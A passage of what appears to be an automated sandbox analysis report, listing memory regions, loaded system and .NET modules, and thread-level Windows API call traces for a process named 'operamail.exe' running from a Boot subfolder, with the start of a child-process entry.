end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 7755 start_va = 0x7fefed40000 end_va = 0x7fefee1afff monitored = 0 entry_point = 0x7fefed60760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7756 start_va = 0x7fefec30000 end_va = 0x7fefeccefff monitored = 0 entry_point = 0x7fefec325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7757 start_va = 0x7fefecd0000 end_va = 0x7fefeceefff monitored = 0 entry_point = 0x7fefecd60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7758 start_va = 0x7fefde20000 end_va = 0x7fefdf4cfff monitored = 0 entry_point = 0x7fefde6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7759 start_va = 0xb0000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7760 start_va = 0x5f0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 7761 start_va = 0x7fef6e10000 end_va = 0x7fef6eb8fff monitored = 1 entry_point = 0x7fef6e11010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7762 start_va = 0x7fefa640000 end_va = 0x7fefa642fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7901 start_va = 0x7fefdda0000 end_va = 0x7fefde10fff monitored = 0 entry_point = 0x7fefddb1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7902 start_va = 0x7fefe960000 end_va = 0x7fefe9c6fff monitored = 0 entry_point = 0x7fefe96b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7903 start_va = 0x77850000 end_va = 0x77949fff monitored = 0 entry_point = 0x7786a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7904 start_va = 0x7fefe5f0000 end_va = 0x7fefe5fdfff monitored = 0 entry_point = 0x7fefe5f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7905 start_va = 0x7fefe680000 end_va = 0x7fefe748fff monitored = 0 entry_point = 0x7fefe6fa874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7906 start_va = 0xd0000 end_va = 0xf8fff monitored = 0 entry_point = 0xd1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7907 start_va = 0x6f0000 end_va = 0x877fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 7908 start_va = 0xd0000 end_va = 0xf8fff monitored = 0 entry_point = 0xd1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7909 start_va = 0x7fefdc70000 end_va = 0x7fefdc9dfff monitored = 0 entry_point = 0x7fefdc71010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7910 start_va = 0x7fefe180000 end_va = 0x7fefe288fff monitored = 0 entry_point = 0x7fefe181064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 7911 start_va = 0x880000 end_va = 0xa00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 7912 start_va = 0xa10000 end_va = 0x1e0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a10000" filename = "" Region: id = 7913 start_va = 0xb0000 end_va = 0xb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7914 start_va = 0xc0000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 7915 start_va = 0xd0000 end_va = 0xd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 7916 start_va = 0x1e10000 end_va = 0x1edffff monitored = 1 entry_point = 0x1edd67e region_type = mapped_file name = "operamail.exe" filename = "\\Boot\\pl-PL\\operamail.exe" (normalized: "c:\\boot\\pl-pl\\operamail.exe") Region: id = 8198 start_va = 0x1e10000 end_va = 0x1edffff monitored = 1 entry_point = 0x1edd67e region_type = mapped_file name = "operamail.exe" filename = "\\Boot\\pl-PL\\operamail.exe" (normalized: "c:\\boot\\pl-pl\\operamail.exe") Region: id = 8199 start_va = 0x7fefca60000 end_va = 0x7fefca6bfff monitored = 0 entry_point = 0x7fefca61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8249 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8265 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8478 start_va = 0x7fef4050000 end_va = 0x7fef4b16fff monitored = 1 entry_point = 0x7fef40563a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8479 start_va = 0x7fefa780000 end_va = 0x7fefa795fff monitored = 0 entry_point = 0x7fefa78c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8480 start_va = 0x7fefa6c0000 end_va = 0x7fefa77cfff monitored = 0 entry_point = 0x7fefa747db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8530 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 8531 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 8532 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8533 start_va = 0x7fe94a10000 end_va = 0x7fe94a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a10000" filename = "" Region: id = 8534 start_va = 0x7fe94a20000 end_va = 0x7fe94a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a20000" filename = "" Region: id = 8535 start_va = 0x7fe94a30000 end_va = 0x7fe94abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a30000" filename = "" Region: id = 8536 start_va = 0x7fe94ac0000 end_va = 0x7fe94b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94ac0000" filename = "" Region: id = 8537 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 8538 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8539 start_va = 0x1e10000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 8540 start_va = 0x2050000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 8566 start_va = 0x1e10000 end_va = 0x1f0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 8567 start_va = 0x1fd0000 end_va = 0x204ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 8568 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 8569 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8570 start_va = 0x2260000 end_va = 0x1a25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 8608 start_va = 0x1a260000 end_va = 0x1a5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a260000" filename = "" Region: id = 8609 start_va = 0x2050000 end_va = 0x2150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 8610 start_va = 0x21e0000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 8611 start_va = 0x1a600000 end_va = 0x1a6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a600000" filename = "" Region: id = 8612 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8644 start_va = 0x1a700000 end_va = 0x1a7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a700000" filename = "" Region: id = 8645 start_va = 0x1a820000 end_va = 0x1a91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a820000" filename = "" Region: id = 8646 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8656 start_va = 0x1a920000 end_va = 0x1abeefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8664 start_va = 0x7fef2a50000 end_va = 0x7fef404cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8748 start_va = 0x7fefdf50000 end_va = 0x7fefe152fff monitored = 0 entry_point = 0x7fefdf73330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8749 start_va = 0x2a0000 end_va = 0x31cfff monitored = 0 entry_point = 0x2acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8756 start_va = 0x2a0000 end_va = 0x31cfff monitored = 0 entry_point = 0x2acec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8757 start_va = 0x7fefd790000 end_va = 0x7fefd79efff monitored = 0 entry_point = 0x7fefd791010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8758 start_va = 0x7fefc1f0000 end_va = 0x7fefc245fff monitored = 0 entry_point = 0x7fefc1fbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8759 start_va = 0x2a0000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 8760 start_va = 0x1abf0000 end_va = 0x1accefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001abf0000" filename = "" Region: id = 8811 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8812 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8820 start_va = 0x7fe94b30000 end_va = 0x7fe94baffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94b30000" filename = "" Region: id = 8856 start_va = 0x7fe94bb0000 end_va = 0x7fe94bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94bb0000" filename = "" Region: id = 8857 start_va = 0x7fe94bc0000 end_va = 0x7fe94bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94bc0000" filename = "" Region: id = 8868 start_va = 0x7fefbbc0000 end_va = 0x7fefbbc2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8910 start_va = 0x7fef5ab0000 end_va = 0x7fef5bfefff monitored = 1 entry_point = 0x7fef5ab1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8911 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8922 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 8923 start_va = 0x2c0000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 8924 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 8973 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 8974 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 8975 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 8976 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 8994 start_va = 0x1f10000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 9024 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9057 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9058 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9059 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 9060 start_va = 0x570000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 9086 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9087 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9109 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9124 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9150 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9165 start_va = 0x2160000 end_va = 0x21c1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9200 start_va = 0x1ae30000 end_va = 0x1af2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae30000" filename = "" Region: id = 9201 start_va = 0x1af40000 end_va = 0x1af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 9202 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9203 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9298 start_va = 0x1af90000 end_va = 0x1b08ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af90000" filename = "" Region: id = 9299 start_va = 0x7fefd190000 end_va = 0x7fefd1a7fff monitored = 0 entry_point = 0x7fefd193b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9300 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9301 start_va = 0x1acd0000 end_va = 0x1ad14fff monitored = 0 entry_point = 0x1acd1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9302 start_va = 0x1acd0000 end_va = 0x1ad14fff monitored = 0 entry_point = 0x1acd1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9303 start_va = 0x1acd0000 end_va = 0x1ad14fff monitored = 0 entry_point = 0x1acd1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9379 start_va = 0x1acd0000 end_va = 0x1ad14fff monitored = 0 entry_point = 0x1acd1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9380 start_va = 0x1acd0000 end_va = 0x1ad14fff monitored = 0 entry_point = 0x1acd1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9381 start_va = 0x7fefce90000 end_va = 0x7fefced6fff monitored = 0 entry_point = 0x7fefce91064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9382 start_va = 0x7fefd840000 end_va = 0x7fefd853fff monitored = 0 entry_point = 0x7fefd8410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9414 start_va = 0x1b120000 end_va = 0x1b21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 9415 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9440 start_va = 0x1b2b0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 9441 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9442 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9482 start_va = 0x1b4e0000 end_va = 0x1b5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4e0000" filename = "" Region: id = 9483 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9513 start_va = 0x7fef1de0000 end_va = 0x7fef2a4efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9530 start_va = 0x7fef58b0000 end_va = 0x7fef5aa4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9542 start_va = 0x7fef0d30000 end_va = 0x7fef1dd5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9555 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9570 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9588 start_va = 0x7fefbba0000 end_va = 0x7fefbbb5fff monitored = 1 entry_point = 0x7fefbbae5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9589 start_va = 0x1b5e0000 end_va = 0x1b8b1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9590 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 9591 start_va = 0x2b0000 end_va = 0x2bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 9592 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 9593 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 9594 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 9595 start_va = 0x1f10000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 9596 start_va = 0x1f30000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f30000" filename = "" Region: id = 9608 start_va = 0x1f20000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 9609 start_va = 0x1fb0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 9610 start_va = 0x1fc0000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 9611 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 9612 start_va = 0x1a5e0000 end_va = 0x1a5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5e0000" filename = "" Region: id = 9613 start_va = 0x1a5f0000 end_va = 0x1a5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5f0000" filename = "" Region: id = 9708 start_va = 0x1a800000 end_va = 0x1a80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Thread: id = 365 os_tid = 0x544 [0263.557] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0276.150] EtwEventRegister (in: ProviderId=0x2265818, EnableCallback=0x1f3135c, CallbackContext=0x0, RegHandle=0x22657f8 | out: RegHandle=0x22657f8) returned 0x0 [0277.156] EtwEventRegister (in: ProviderId=0x2269f88, EnableCallback=0x1f313ac, CallbackContext=0x0, RegHandle=0x2269f68 | out: RegHandle=0x2269f68) returned 0x0 [0278.947] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x153c20*=0xd8, lpdwindex=0x43e3a4 | out: lpdwindex=0x43e3a4) returned 0x0 [0280.569] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x153c20*=0xd8, lpdwindex=0x43e3a4) Thread: id = 455 os_tid = 0x81c Thread: id = 459 os_tid = 0x834 [0263.723] CoGetContextToken (in: pToken=0x1a6ff920 | out: pToken=0x1a6ff920) returned 0x800401f0 [0263.723] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 466 os_tid = 0x850 Thread: id = 486 os_tid = 0x8a8 [0278.259] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0278.262] CoGetContextToken (in: pToken=0x1af2fb10 | out: pToken=0x1af2fb10) returned 0x0 [0278.262] CObjectContext::QueryInterface () returned 0x0 [0278.262] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.263] Release () returned 0x0 [0278.263] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0278.264] CoUninitialize () [0288.873] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1af2df38 | out: phkResult=0x1af2df38*=0x0) returned 0x2 [0288.873] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0288.880] GetFullPathNameW (in: lpFileName="C:\\Boot\\pl-PL\\operamail.exe", nBufferLength=0x105, lpBuffer=0x1af2ea70, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\operamail.exe", lpFilePart=0x0) returned 0x1b Thread: id = 487 os_tid = 0x8ac Thread: id = 511 os_tid = 0x910 Thread: id = 536 os_tid = 0x984 Thread: id = 537 os_tid = 0x988 Thread: id = 559 os_tid = 0x9e0 [0281.406] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0281.407] CoGetContextToken (in: pToken=0x1b5df6d0 | out: pToken=0x1b5df6d0) returned 0x0 [0281.407] CObjectContext::QueryInterface () returned 0x0 [0281.407] CObjectContext::GetCurrentThreadType () returned 0x0 [0281.407] Release () returned 0x0 [0281.407] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0281.407] CoUninitialize () Process: id = "78" image_name = "idle.exe" filename = "c:\\boot\\es-es\\idle.exe" page_root = "0x21e50000" os_pid = "0x548" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" 